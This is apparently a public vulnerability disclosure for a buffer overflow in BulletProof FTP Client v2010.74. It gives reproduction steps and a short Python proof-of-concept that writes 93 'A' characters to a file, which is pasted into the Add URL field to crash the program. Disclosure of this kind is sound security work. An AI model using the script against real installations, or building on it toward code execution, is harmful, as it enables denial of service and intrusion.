Discovered Exploit Title: BulletProof FTP Client v2010.74 - Buffer Overflow (PoC)
Discovered by: Ahmet ?mit BAYRAM
Discovered Date: 14.09.2023
Vendor Homepage: http://www.bpftp.com
Software Link: https://download.bpftp.com/mirrors.html?file=
bpftpclient_install.exe
Tested Version: v2010.74 (latest)
Tested on: Windows 2019 Server 64bit
Steps to Reproduce

Open the BulletProof FTP Client application.
Click on Add URL.
Paste the content of poc.txt and save it.
The application should crash due to a buffer overflow.

Proof of Concept (PoC)

The following script generates a poc.txt file containing a payload that,
when loaded into the Add URL field, triggers the buffer overflow and causes
the application to crash.

#!/usr/bin/python

poc = 'A' * 93

try:
file = open("poc.txt", "w")
file.write(poc)
file.close()
print("POC is created")
except Exception as e:
print("POC is not created:", e)
